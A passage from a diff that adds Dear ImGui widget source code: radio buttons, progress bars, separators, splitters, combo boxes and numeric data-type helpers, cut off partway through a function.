ImVec2(square_sz + (label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f), label_size.y + style.FramePadding.y * 2.0f)); + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, id)) + return false; + + ImVec2 center = check_bb.GetCenter(); + center.x = IM_ROUND(center.x); + center.y = IM_ROUND(center.y); + const float radius = (square_sz - 1.0f) * 0.5f; + + bool hovered, held; + bool pressed = ButtonBehavior(total_bb, id, &hovered, &held); + if (pressed) + MarkItemEdited(id); + + RenderNavHighlight(total_bb, id); + window->DrawList->AddCircleFilled(center, radius, GetColorU32((held && hovered) ? ImGuiCol_FrameBgActive : hovered ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg), 16); + if (active) + { + const float pad = ImMax(1.0f, IM_FLOOR(square_sz / 6.0f)); + window->DrawList->AddCircleFilled(center, radius - pad, GetColorU32(ImGuiCol_CheckMark), 16); + } + + if (style.FrameBorderSize > 0.0f) + { + window->DrawList->AddCircle(center + ImVec2(1, 1), radius, GetColorU32(ImGuiCol_BorderShadow), 16, style.FrameBorderSize); + window->DrawList->AddCircle(center, radius, GetColorU32(ImGuiCol_Border), 16, style.FrameBorderSize); + } + + if (g.LogEnabled) + LogRenderedText(&total_bb.Min, active ? "(x)" : "( )"); + if (label_size.x > 0.0f) + RenderText(ImVec2(check_bb.Max.x + style.ItemInnerSpacing.x, check_bb.Min.y + style.FramePadding.y), label); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); + return pressed; +} + +// FIXME: This would work nicely if it was a public template, e.g. 'template RadioButton(const char* label, T* v, T v_button)', but I'm not sure how we would expose it.. +bool ImGui::RadioButton(const char* label, int* v, int v_button) +{ + const bool pressed = RadioButton(label, *v == v_button); + if (pressed) + *v = v_button; + return pressed; +} + +// size_arg (for each axis) < 0.0f: align to end, 0.0f: auto, > 0.0f: specified size +void ImGui::ProgressBar(float fraction, const ImVec2& size_arg, const char* overlay) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + ImVec2 pos = window->DC.CursorPos; + ImVec2 size = CalcItemSize(size_arg, CalcItemWidth(), g.FontSize + style.FramePadding.y * 2.0f); + ImRect bb(pos, pos + size); + ItemSize(size, style.FramePadding.y); + if (!ItemAdd(bb, 0)) + return; + + // Render + fraction = ImSaturate(fraction); + RenderFrame(bb.Min, bb.Max, GetColorU32(ImGuiCol_FrameBg), true, style.FrameRounding); + bb.Expand(ImVec2(-style.FrameBorderSize, -style.FrameBorderSize)); + const ImVec2 fill_br = ImVec2(ImLerp(bb.Min.x, bb.Max.x, fraction), bb.Max.y); + RenderRectFilledRangeH(window->DrawList, bb, GetColorU32(ImGuiCol_PlotHistogram), 0.0f, fraction, style.FrameRounding); + + // Default displaying the fraction as percentage string, but user can override it + char overlay_buf[32]; + if (!overlay) + { + ImFormatString(overlay_buf, IM_ARRAYSIZE(overlay_buf), "%.0f%%", fraction * 100 + 0.01f); + overlay = overlay_buf; + } + + ImVec2 overlay_size = CalcTextSize(overlay, NULL); + if (overlay_size.x > 0.0f) + RenderTextClipped(ImVec2(ImClamp(fill_br.x + style.ItemSpacing.x, bb.Min.x, bb.Max.x - overlay_size.x - style.ItemInnerSpacing.x), bb.Min.y), bb.Max, overlay, NULL, &overlay_size, ImVec2(0.0f, 0.5f), &bb); +} + +void ImGui::Bullet() +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const float line_height = ImMax(ImMin(window->DC.CurrLineSize.y, g.FontSize + g.Style.FramePadding.y * 2), g.FontSize); + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(g.FontSize, line_height)); + ItemSize(bb); + if (!ItemAdd(bb, 0)) + { + SameLine(0, style.FramePadding.x * 2); + return; + } + + // Render and stay on same line + ImU32 text_col = GetColorU32(ImGuiCol_Text); + RenderBullet(window->DrawList, bb.Min + ImVec2(style.FramePadding.x + g.FontSize * 0.5f, line_height * 0.5f), text_col); + SameLine(0, style.FramePadding.x * 2.0f); +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: Low-level Layout helpers +//------------------------------------------------------------------------- +// - Spacing() +// - Dummy() +// - NewLine() +// - AlignTextToFramePadding() +// - SeparatorEx() [Internal] +// - Separator() +// - SplitterBehavior() [Internal] +// - ShrinkWidths() [Internal] +//------------------------------------------------------------------------- + +void ImGui::Spacing() +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + ItemSize(ImVec2(0, 0)); +} + +void ImGui::Dummy(const ImVec2& size) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + ItemSize(size); + ItemAdd(bb, 0); +} + +void ImGui::NewLine() +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + const ImGuiLayoutType backup_layout_type = window->DC.LayoutType; + window->DC.LayoutType = ImGuiLayoutType_Vertical; + if (window->DC.CurrLineSize.y > 0.0f) // In the event that we are on a line with items that is smaller that FontSize high, we will preserve its height. + ItemSize(ImVec2(0, 0)); + else + ItemSize(ImVec2(0.0f, g.FontSize)); + window->DC.LayoutType = backup_layout_type; +} + +void ImGui::AlignTextToFramePadding() +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + window->DC.CurrLineSize.y = ImMax(window->DC.CurrLineSize.y, g.FontSize + g.Style.FramePadding.y * 2); + window->DC.CurrLineTextBaseOffset = ImMax(window->DC.CurrLineTextBaseOffset, g.Style.FramePadding.y); +} + +// Horizontal/vertical separating line +void ImGui::SeparatorEx(ImGuiSeparatorFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + IM_ASSERT(ImIsPowerOfTwo(flags & (ImGuiSeparatorFlags_Horizontal | ImGuiSeparatorFlags_Vertical))); // Check that only 1 option is selected + + float thickness_draw = 1.0f; + float thickness_layout = 0.0f; + if (flags & ImGuiSeparatorFlags_Vertical) + { + // Vertical separator, for menu bars (use current line height). Not exposed because it is misleading and it doesn't have an effect on regular layout. + float y1 = window->DC.CursorPos.y; + float y2 = window->DC.CursorPos.y + window->DC.CurrLineSize.y; + const ImRect bb(ImVec2(window->DC.CursorPos.x, y1), ImVec2(window->DC.CursorPos.x + thickness_draw, y2)); + ItemSize(ImVec2(thickness_layout, 0.0f)); + if (!ItemAdd(bb, 0)) + return; + + // Draw + window->DrawList->AddLine(ImVec2(bb.Min.x, bb.Min.y), ImVec2(bb.Min.x, bb.Max.y), GetColorU32(ImGuiCol_Separator)); + if (g.LogEnabled) + LogText(" |"); + } + else if (flags & ImGuiSeparatorFlags_Horizontal) + { + // Horizontal Separator + float x1 = window->Pos.x; + float x2 = window->Pos.x + window->Size.x; + + // FIXME-WORKRECT: old hack (#205) until we decide of consistent behavior with WorkRect/Indent and Separator + if (g.GroupStack.Size > 0 && g.GroupStack.back().WindowID == window->ID) + x1 += window->DC.Indent.x; + + ImGuiOldColumns* columns = (flags & ImGuiSeparatorFlags_SpanAllColumns) ? window->DC.CurrentColumns : NULL; + if (columns) + PushColumnsBackground(); + + // We don't provide our width to the layout so that it doesn't get feed back into AutoFit + const ImRect bb(ImVec2(x1, window->DC.CursorPos.y), ImVec2(x2, window->DC.CursorPos.y + thickness_draw)); + ItemSize(ImVec2(0.0f, thickness_layout)); + const bool item_visible = ItemAdd(bb, 0); + if (item_visible) + { + // Draw + window->DrawList->AddLine(bb.Min, ImVec2(bb.Max.x, bb.Min.y), GetColorU32(ImGuiCol_Separator)); + if (g.LogEnabled) + LogRenderedText(&bb.Min, "--------------------------------"); + } + if (columns) + { + PopColumnsBackground(); + columns->LineMinY = window->DC.CursorPos.y; + } + } +} + +void ImGui::Separator() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return; + + // Those flags should eventually be overridable by the user + ImGuiSeparatorFlags flags = (window->DC.LayoutType == ImGuiLayoutType_Horizontal) ? ImGuiSeparatorFlags_Vertical : ImGuiSeparatorFlags_Horizontal; + flags |= ImGuiSeparatorFlags_SpanAllColumns; + SeparatorEx(flags); +} + +// Using 'hover_visibility_delay' allows us to hide the highlight and mouse cursor for a short time, which can be convenient to reduce visual noise. +bool ImGui::SplitterBehavior(const ImRect& bb, ImGuiID id, ImGuiAxis axis, float* size1, float* size2, float min_size1, float min_size2, float hover_extend, float hover_visibility_delay) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + const ImGuiItemFlags item_flags_backup = window->DC.ItemFlags; + window->DC.ItemFlags |= ImGuiItemFlags_NoNav | ImGuiItemFlags_NoNavDefaultFocus; + bool item_add = ItemAdd(bb, id); + window->DC.ItemFlags = item_flags_backup; + if (!item_add) + return false; + + bool hovered, held; + ImRect bb_interact = bb; + bb_interact.Expand(axis == ImGuiAxis_Y ? ImVec2(0.0f, hover_extend) : ImVec2(hover_extend, 0.0f)); + ButtonBehavior(bb_interact, id, &hovered, &held, ImGuiButtonFlags_FlattenChildren | ImGuiButtonFlags_AllowItemOverlap); + if (g.ActiveId != id) + SetItemAllowOverlap(); + + if (held || (g.HoveredId == id && g.HoveredIdPreviousFrame == id && g.HoveredIdTimer >= hover_visibility_delay)) + SetMouseCursor(axis == ImGuiAxis_Y ? ImGuiMouseCursor_ResizeNS : ImGuiMouseCursor_ResizeEW); + + ImRect bb_render = bb; + if (held) + { + ImVec2 mouse_delta_2d = g.IO.MousePos - g.ActiveIdClickOffset - bb_interact.Min; + float mouse_delta = (axis == ImGuiAxis_Y) ? mouse_delta_2d.y : mouse_delta_2d.x; + + // Minimum pane size + float size_1_maximum_delta = ImMax(0.0f, *size1 - min_size1); + float size_2_maximum_delta = ImMax(0.0f, *size2 - min_size2); + if (mouse_delta < -size_1_maximum_delta) + mouse_delta = -size_1_maximum_delta; + if (mouse_delta > size_2_maximum_delta) + mouse_delta = size_2_maximum_delta; + + // Apply resize + if (mouse_delta != 0.0f) + { + if (mouse_delta < 0.0f) + IM_ASSERT(*size1 + mouse_delta >= min_size1); + if (mouse_delta > 0.0f) + IM_ASSERT(*size2 - mouse_delta >= min_size2); + *size1 += mouse_delta; + *size2 -= mouse_delta; + bb_render.Translate((axis == ImGuiAxis_X) ? ImVec2(mouse_delta, 0.0f) : ImVec2(0.0f, mouse_delta)); + MarkItemEdited(id); + } + } + + // Render + const ImU32 col = GetColorU32(held ? ImGuiCol_SeparatorActive : (hovered && g.HoveredIdTimer >= hover_visibility_delay) ? ImGuiCol_SeparatorHovered : ImGuiCol_Separator); + window->DrawList->AddRectFilled(bb_render.Min, bb_render.Max, col, 0.0f); + + return held; +} + +static int IMGUI_CDECL ShrinkWidthItemComparer(const void* lhs, const void* rhs) +{ + const ImGuiShrinkWidthItem* a = (const ImGuiShrinkWidthItem*)lhs; + const ImGuiShrinkWidthItem* b = (const ImGuiShrinkWidthItem*)rhs; + if (int d = (int)(b->Width - a->Width)) + return d; + return (b->Index - a->Index); +} + +// Shrink excess width from a set of item, by removing width from the larger items first. +// Set items Width to -1.0f to disable shrinking this item. +void ImGui::ShrinkWidths(ImGuiShrinkWidthItem* items, int count, float width_excess) +{ + if (count == 1) + { + if (items[0].Width >= 0.0f) + items[0].Width = ImMax(items[0].Width - width_excess, 1.0f); + return; + } + ImQsort(items, (size_t)count, sizeof(ImGuiShrinkWidthItem), ShrinkWidthItemComparer); + int count_same_width = 1; + while (width_excess > 0.0f && count_same_width < count) + { + while (count_same_width < count && items[0].Width <= items[count_same_width].Width) + count_same_width++; + float max_width_to_remove_per_item = (count_same_width < count && items[count_same_width].Width >= 0.0f) ? (items[0].Width - items[count_same_width].Width) : (items[0].Width - 1.0f); + if (max_width_to_remove_per_item <= 0.0f) + break; + float width_to_remove_per_item = ImMin(width_excess / count_same_width, max_width_to_remove_per_item); + for (int item_n = 0; item_n < count_same_width; item_n++) + items[item_n].Width -= width_to_remove_per_item; + width_excess -= width_to_remove_per_item * count_same_width; + } + + // Round width and redistribute remainder left-to-right (could make it an option of the function?) + // Ensure that e.g. the right-most tab of a shrunk tab-bar always reaches exactly at the same distance from the right-most edge of the tab bar separator. + width_excess = 0.0f; + for (int n = 0; n < count; n++) + { + float width_rounded = ImFloor(items[n].Width); + width_excess += items[n].Width - width_rounded; + items[n].Width = width_rounded; + } + if (width_excess > 0.0f) + for (int n = 0; n < count; n++) + if (items[n].Index < (int)(width_excess + 0.01f)) + items[n].Width += 1.0f; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: ComboBox +//------------------------------------------------------------------------- +// - BeginCombo() +// - EndCombo() +// - Combo() +//------------------------------------------------------------------------- + +static float CalcMaxPopupHeightFromItemCount(int items_count) +{ + ImGuiContext& g = *GImGui; + if (items_count <= 0) + return FLT_MAX; + return (g.FontSize + g.Style.ItemSpacing.y) * items_count - g.Style.ItemSpacing.y + (g.Style.WindowPadding.y * 2); +} + +bool ImGui::BeginCombo(const char* label, const char* preview_value, ImGuiComboFlags flags) +{ + // Always consume the SetNextWindowSizeConstraint() call in our early return paths + ImGuiContext& g = *GImGui; + bool has_window_size_constraint = (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSizeConstraint) != 0; + g.NextWindowData.Flags &= ~ImGuiNextWindowDataFlags_HasSizeConstraint; + + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + IM_ASSERT((flags & (ImGuiComboFlags_NoArrowButton | ImGuiComboFlags_NoPreview)) != (ImGuiComboFlags_NoArrowButton | ImGuiComboFlags_NoPreview)); // Can't use both flags together + + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + + const float arrow_size = (flags & ImGuiComboFlags_NoArrowButton) ? 0.0f : GetFrameHeight(); + const ImVec2 label_size = CalcTextSize(label, NULL, true); + const float expected_w = CalcItemWidth(); + const float w = (flags & ImGuiComboFlags_NoPreview) ? arrow_size : expected_w; + const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2.0f)); + const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, id, &frame_bb)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(frame_bb, id, &hovered, &held); + bool popup_open = IsPopupOpen(id, ImGuiPopupFlags_None); + + const ImU32 frame_col = GetColorU32(hovered ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); + const float value_x2 = ImMax(frame_bb.Min.x, frame_bb.Max.x - arrow_size); + RenderNavHighlight(frame_bb, id); + if (!(flags & ImGuiComboFlags_NoPreview)) + window->DrawList->AddRectFilled(frame_bb.Min, ImVec2(value_x2, frame_bb.Max.y), frame_col, style.FrameRounding, (flags & ImGuiComboFlags_NoArrowButton) ? ImDrawCornerFlags_All : ImDrawCornerFlags_Left); + if (!(flags & ImGuiComboFlags_NoArrowButton)) + { + ImU32 bg_col = GetColorU32((popup_open || hovered) ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + ImU32 text_col = GetColorU32(ImGuiCol_Text); + window->DrawList->AddRectFilled(ImVec2(value_x2, frame_bb.Min.y), frame_bb.Max, bg_col, style.FrameRounding, (w <= arrow_size) ? ImDrawCornerFlags_All : ImDrawCornerFlags_Right); + if (value_x2 + arrow_size - style.FramePadding.x <= frame_bb.Max.x) + RenderArrow(window->DrawList, ImVec2(value_x2 + style.FramePadding.y, frame_bb.Min.y + style.FramePadding.y), text_col, ImGuiDir_Down, 1.0f); + } + RenderFrameBorder(frame_bb.Min, frame_bb.Max, style.FrameRounding); + if (preview_value != NULL && !(flags & ImGuiComboFlags_NoPreview)) + RenderTextClipped(frame_bb.Min + style.FramePadding, ImVec2(value_x2, frame_bb.Max.y), preview_value, NULL, NULL, ImVec2(0.0f, 0.0f)); + if (label_size.x > 0) + RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); + + if ((pressed || g.NavActivateId == id) && !popup_open) + { + if (window->DC.NavLayerCurrent == 0) + window->NavLastIds[0] = id; + OpenPopupEx(id, ImGuiPopupFlags_None); + popup_open = true; + } + + if (!popup_open) + return false; + + if (has_window_size_constraint) + { + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasSizeConstraint; + g.NextWindowData.SizeConstraintRect.Min.x = ImMax(g.NextWindowData.SizeConstraintRect.Min.x, w); + } + else + { + if ((flags & ImGuiComboFlags_HeightMask_) == 0) + flags |= ImGuiComboFlags_HeightRegular; + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiComboFlags_HeightMask_)); // Only one + int popup_max_height_in_items = -1; + if (flags & ImGuiComboFlags_HeightRegular) popup_max_height_in_items = 8; + else if (flags & ImGuiComboFlags_HeightSmall) popup_max_height_in_items = 4; + else if (flags & ImGuiComboFlags_HeightLarge) popup_max_height_in_items = 20; + SetNextWindowSizeConstraints(ImVec2(w, 0.0f), ImVec2(FLT_MAX, CalcMaxPopupHeightFromItemCount(popup_max_height_in_items))); + } + + char name[16]; + ImFormatString(name, IM_ARRAYSIZE(name), "##Combo_%02d", g.BeginPopupStack.Size); // Recycle windows based on depth + + // Position the window given a custom constraint (peak into expected window size so we can position it) + // This might be easier to express with an hypothetical SetNextWindowPosConstraints() function. + if (ImGuiWindow* popup_window = FindWindowByName(name)) + if (popup_window->WasActive) + { + // Always override 'AutoPosLastDirection' to not leave a chance for a past value to affect us. + ImVec2 size_expected = CalcWindowExpectedSize(popup_window); + if (flags & ImGuiComboFlags_PopupAlignLeft) + popup_window->AutoPosLastDirection = ImGuiDir_Left; // "Below, Toward Left" + else + popup_window->AutoPosLastDirection = ImGuiDir_Down; // "Below, Toward Right (default)" + ImRect r_outer = GetWindowAllowedExtentRect(popup_window); + ImVec2 pos = FindBestWindowPosForPopupEx(frame_bb.GetBL(), size_expected, &popup_window->AutoPosLastDirection, r_outer, frame_bb, ImGuiPopupPositionPolicy_ComboBox); + SetNextWindowPos(pos); + } + + // We don't use BeginPopupEx() solely because we have a custom name string, which we could make an argument to BeginPopupEx() + ImGuiWindowFlags window_flags = ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_Popup | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoMove; + + // Horizontally align ourselves with the framed text + PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(style.FramePadding.x, style.WindowPadding.y)); + bool ret = Begin(name, NULL, window_flags); + PopStyleVar(); + if (!ret) + { + EndPopup(); + IM_ASSERT(0); // This should never happen as we tested for IsPopupOpen() above + return false; + } + return true; +} + +void ImGui::EndCombo() +{ + EndPopup(); +} + +// Getter for the old Combo() API: const char*[] +static bool Items_ArrayGetter(void* data, int idx, const char** out_text) +{ + const char* const* items = (const char* const*)data; + if (out_text) + *out_text = items[idx]; + return true; +} + +// Getter for the old Combo() API: "item1\0item2\0item3\0" +static bool Items_SingleStringGetter(void* data, int idx, const char** out_text) +{ + // FIXME-OPT: we could pre-compute the indices to fasten this. But only 1 active combo means the waste is limited. + const char* items_separated_by_zeros = (const char*)data; + int items_count = 0; + const char* p = items_separated_by_zeros; + while (*p) + { + if (idx == items_count) + break; + p += strlen(p) + 1; + items_count++; + } + if (!*p) + return false; + if (out_text) + *out_text = p; + return true; +} + +// Old API, prefer using BeginCombo() nowadays if you can. +bool ImGui::Combo(const char* label, int* current_item, bool (*items_getter)(void*, int, const char**), void* data, int items_count, int popup_max_height_in_items) +{ + ImGuiContext& g = *GImGui; + + // Call the getter to obtain the preview string which is a parameter to BeginCombo() + const char* preview_value = NULL; + if (*current_item >= 0 && *current_item < items_count) + items_getter(data, *current_item, &preview_value); + + // The old Combo() API exposed "popup_max_height_in_items". The new more general BeginCombo() API doesn't have/need it, but we emulate it here. + if (popup_max_height_in_items != -1 && !(g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSizeConstraint)) + SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, CalcMaxPopupHeightFromItemCount(popup_max_height_in_items))); + + if (!BeginCombo(label, preview_value, ImGuiComboFlags_None)) + return false; + + // Display items + // FIXME-OPT: Use clipper (but we need to disable it on the appearing frame to make sure our call to SetItemDefaultFocus() is processed) + bool value_changed = false; + for (int i = 0; i < items_count; i++) + { + PushID((void*)(intptr_t)i); + const bool item_selected = (i == *current_item); + const char* item_text; + if (!items_getter(data, i, &item_text)) + item_text = "*Unknown item*"; + if (Selectable(item_text, item_selected)) + { + value_changed = true; + *current_item = i; + } + if (item_selected) + SetItemDefaultFocus(); + PopID(); + } + + EndCombo(); + return value_changed; +} + +// Combo box helper allowing to pass an array of strings. +bool ImGui::Combo(const char* label, int* current_item, const char* const items[], int items_count, int height_in_items) +{ + const bool value_changed = Combo(label, current_item, Items_ArrayGetter, (void*)items, items_count, height_in_items); + return value_changed; +} + +// Combo box helper allowing to pass all items in a single string literal holding multiple zero-terminated items "item1\0item2\0" +bool ImGui::Combo(const char* label, int* current_item, const char* items_separated_by_zeros, int height_in_items) +{ + int items_count = 0; + const char* p = items_separated_by_zeros; // FIXME-OPT: Avoid computing this, or at least only when combo is open + while (*p) + { + p += strlen(p) + 1; + items_count++; + } + bool value_changed = Combo(label, current_item, Items_SingleStringGetter, (void*)items_separated_by_zeros, items_count, height_in_items); + return value_changed; +} + +//------------------------------------------------------------------------- +// [SECTION] Data Type and Data Formatting Helpers [Internal] +//------------------------------------------------------------------------- +// - PatchFormatStringFloatToInt() +// - DataTypeGetInfo() +// - DataTypeFormatString() +// - DataTypeApplyOp() +// - DataTypeApplyOpFromText() +// - DataTypeClamp() +// - GetMinimumStepAtDecimalPrecision +// - RoundScalarWithFormat<>() +//------------------------------------------------------------------------- + +static const ImGuiDataTypeInfo GDataTypeInfo[] = +{ + { sizeof(char), "S8", "%d", "%d" }, // ImGuiDataType_S8 + { sizeof(unsigned char), "U8", "%u", "%u" }, + { sizeof(short), "S16", "%d", "%d" }, // ImGuiDataType_S16 + { sizeof(unsigned short), "U16", "%u", "%u" }, + { sizeof(int), "S32", "%d", "%d" }, // ImGuiDataType_S32 + { sizeof(unsigned int), "U32", "%u", "%u" }, +#ifdef _MSC_VER + { sizeof(ImS64), "S64", "%I64d","%I64d" }, // ImGuiDataType_S64 + { sizeof(ImU64), "U64", "%I64u","%I64u" }, +#else + { sizeof(ImS64), "S64", "%lld", "%lld" }, // ImGuiDataType_S64 + { sizeof(ImU64), "U64", "%llu", "%llu" }, +#endif + { sizeof(float), "float", "%f", "%f" }, // ImGuiDataType_Float (float are promoted to double in va_arg) + { sizeof(double), "double","%f", "%lf" }, // ImGuiDataType_Double +}; +IM_STATIC_ASSERT(IM_ARRAYSIZE(GDataTypeInfo) == ImGuiDataType_COUNT); + +// FIXME-LEGACY: Prior to 1.61 our DragInt() function internally used floats and because of this the compile-time default value for format was "%.0f". +// Even though we changed the compile-time default, we expect users to have carried %f around, which would break the display of DragInt() calls. +// To honor backward compatibility we are rewriting the format string, unless IMGUI_DISABLE_OBSOLETE_FUNCTIONS is enabled. What could possibly go wrong?! +static const char* PatchFormatStringFloatToInt(const char* fmt) +{ + if (fmt[0] == '%' && fmt[1] == '.' && fmt[2] == '0' && fmt[3] == 'f' && fmt[4] == 0) // Fast legacy path for "%.0f" which is expected to be the most common case. + return "%d"; + const char* fmt_start = ImParseFormatFindStart(fmt); // Find % (if any, and ignore %%) + const char* fmt_end = ImParseFormatFindEnd(fmt_start); // Find end of format specifier, which itself is an exercise of confidence/recklessness (because snprintf is dependent on libc or user). + if (fmt_end > fmt_start && fmt_end[-1] == 'f') + { +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + if (fmt_start == fmt && fmt_end[0] == 0) + return "%d"; + ImGuiContext& g = *GImGui; + ImFormatString(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), "%.*s%%d%s", (int)(fmt_start - fmt), fmt, fmt_end); // Honor leading and trailing decorations, but lose alignment/precision. + return g.TempBuffer; +#else + IM_ASSERT(0 && "DragInt(): Invalid format string!"); // Old versions used a default parameter of "%.0f", please replace with e.g. "%d" +#endif + } + return fmt; +} + +const ImGuiDataTypeInfo* ImGui::DataTypeGetInfo(ImGuiDataType data_type) +{ + IM_ASSERT(data_type >= 0 && data_type < ImGuiDataType_COUNT); + return &GDataTypeInfo[data_type]; +} + +int ImGui::DataTypeFormatString(char* buf, int buf_size, ImGuiDataType data_type, const void* p_data, const char* format) +{ + // Signedness doesn't matter when pushing integer arguments + if (data_type == ImGuiDataType_S32 || data_type == ImGuiDataType_U32) + return ImFormatString(buf, buf_size, format, *(const ImU32*)p_data); + if (data_type == ImGuiDataType_S64 || data_type == ImGuiDataType_U64) + return ImFormatString(buf, buf_size, format, *(const ImU64*)p_data); + if (data_type == ImGuiDataType_Float) + return ImFormatString(buf, buf_size, format, *(const float*)p_data); + if (data_type == ImGuiDataType_Double) + return ImFormatString(buf, buf_size, format, *(const double*)p_data); + if (data_type == ImGuiDataType_S8) + return ImFormatString(buf, buf_size, format, *(const ImS8*)p_data); + if (data_type == ImGuiDataType_U8) + return ImFormatString(buf, buf_size, format, *(const ImU8*)p_data); + if (data_type == ImGuiDataType_S16) + return ImFormatString(buf, buf_size, format, *(const ImS16*)p_data); + if (data_type == ImGuiDataType_U16) + return ImFormatString(buf, buf_size, format, *(const ImU16*)p_data); + IM_ASSERT(0); + return 0; +} + +void ImGui::DataTypeApplyOp(ImGuiDataType data_type, int op, void* output, const void* arg1, const void* arg2) +{ + IM_ASSERT(op == '+' || op == '-'); + switch (data_type) + { + case ImGuiDataType_S8: + if (op == '+') { *(ImS8*)output = ImAddClampOverflow(*(const ImS8*)arg1, *(const ImS8*)arg2, IM_S8_MIN, IM_S8_MAX); } + if (op == '-') { *(ImS8*)output = ImSubClampOverflow(*(const ImS8*)arg1, *(const ImS8*)arg2, IM_S8_MIN, IM_S8_MAX); } + return; + case ImGuiDataType_U8: + if (op == '+') { *(ImU8*)output = ImAddClampOverflow(*(const ImU8*)arg1, *(const ImU8*)arg2, IM_U8_MIN, IM_U8_MAX); } + if (op == '-') { *(ImU8*)output = ImSubClampOverflow(*(const ImU8*)arg1, *(const ImU8*)arg2, IM_U8_MIN, IM_U8_MAX); } + return; + case ImGuiDataType_S16: + if (op == '+') { *(ImS16*)output = ImAddClampOverflow(*(const ImS16*)arg1, *(const ImS16*)arg2, IM_S16_MIN, IM_S16_MAX); } + if (op == '-') { *(ImS16*)output = ImSubClampOverflow(*(const ImS16*)arg1, *(const ImS16*)arg2, IM_S16_MIN, IM_S16_MAX); } + return; + case ImGuiDataType_U16: + if (op == '+') { *(ImU16*)output = ImAddClampOverflow(*(const ImU16*)arg1, *(const ImU16*)arg2, IM_U16_MIN, IM_U16_MAX); } + if (op == '-') { *(ImU16*)output = ImSubClampOverflow(*(const ImU16*)arg1, *(const ImU16*)arg2, IM_U16_MIN, IM_U16_MAX); } + return; + case ImGuiDataType_S32: + if (op == '+') { *(ImS32*)output = ImAddClampOverflow(*(const ImS32*)arg1, *(const ImS32*)arg2, IM_S32_MIN, IM_S32_MAX); } + if (op == '-') { *(ImS32*)output = ImSubClampOverflow(*(const ImS32*)arg1, *(const ImS32*)arg2, IM_S32_MIN, IM_S32_MAX); } + return; + case ImGuiDataType_U32: + if (op == '+') { *(ImU32*)output = ImAddClampOverflow(*(const ImU32*)arg1, *(const ImU32*)arg2, IM_U32_MIN, IM_U32_MAX); } + if (op == '-') { *(ImU32*)output = ImSubClampOverflow(*(const ImU32*)arg1, *(const ImU32*)arg2, IM_U32_MIN, IM_U32_MAX); } + return; + case ImGuiDataType_S64: + if (op == '+') { *(ImS64*)output = ImAddClampOverflow(*(const ImS64*)arg1, *(const ImS64*)arg2, IM_S64_MIN, IM_S64_MAX); } + if (op == '-') { *(ImS64*)output = ImSubClampOverflow(*(const ImS64*)arg1, *(const ImS64*)arg2, IM_S64_MIN, IM_S64_MAX); } + return; + case ImGuiDataType_U64: + if (op == '+') { *(ImU64*)output = ImAddClampOverflow(*(const ImU64*)arg1, *(const ImU64*)arg2, IM_U64_MIN, IM_U64_MAX); } + if (op == '-') { *(ImU64*)output = ImSubClampOverflow(*(const ImU64*)arg1, *(const ImU64*)arg2, IM_U64_MIN, IM_U64_MAX); } + return; + case ImGuiDataType_Float: + if (op == '+') { *(float*)output = *(const float*)arg1 + *(const float*)arg2; } + if (op == '-') { *(float*)output = *(const float*)arg1 - *(const float*)arg2; } + return; + case ImGuiDataType_Double: + if (op == '+') { *(double*)output = *(const double*)arg1 + *(const double*)arg2; } + if (op == '-') { *(double*)output = *(const double*)arg1 - *(const double*)arg2; } + return; + case ImGuiDataType_COUNT: break; + } + IM_ASSERT(0); +} + +// User can input math operators (e.g. +100) to edit a numerical values. +// NB: This is _not_ a full expression evaluator. We should probably add one and replace this dumb mess.. +bool ImGui::DataTypeApplyOpFromText(const char* buf, const char* initial_value_buf, ImGuiDataType data_type, void* p_data, const char* format) +{ + while (ImCharIsBlankA(*buf)) + buf++; + + // We don't support '-' op because it would conflict with inputing negative value. + // Instead you can use +-100 to subtract from an existing value + char op = buf[0]; + if (op == '+' || op == '*' || op == '/') + { + buf++; + while (ImCharIsBlankA(*buf)) + buf++; + 